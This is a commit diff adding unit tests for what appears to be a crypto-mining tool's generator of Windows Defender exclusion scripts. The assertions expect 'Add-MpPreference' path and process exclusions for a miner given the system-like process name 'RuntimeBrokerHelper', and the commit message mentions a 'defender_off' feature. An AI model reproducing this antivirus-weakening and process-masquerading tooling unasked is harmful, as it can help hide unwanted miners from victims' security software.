Add AV/Defender tests for diagnostics, exclusions, and defender_off.

Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.

server/web/src/help/defenderExclusion.test.ts

@@ -23,4 +23,26 @@ describe('defenderExclusion', () => {
   it('provides default install preview', () => {
     expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
   });
+
+  it('warns when not elevated and documents manual checklist', () => {
+    const script = buildDefenderExclusionScript({
+      installPath: '%LOCALAPPDATA%\\CryptoMiner\\worker',
+      processName: 'RuntimeBrokerHelper',
+    });
+    expect(script).toContain('Administrator');
+    expect(script).toContain('Add-MpPreference -ExclusionPath');
+    expect(script).toContain('Add-MpPreference -ExclusionProcess');
+    expect(script).toContain('Controlled folder access');
+    expect(script).toContain('Cloud-delivered protection');
+    expect(script).toMatch(/AetherForge — Windows Defender exclusions/);
+  });
+
+  it('appends .exe to bare process names', () => {
+    const script = buildDefenderExclusionScript({
+      installPath: 'C:\\miner',
+      processName: 'worker',
+    });
+    expect(script).toContain("'worker.exe'");
+    expect(script).not.toContain("'worker.exe.exe'");
+  });
 });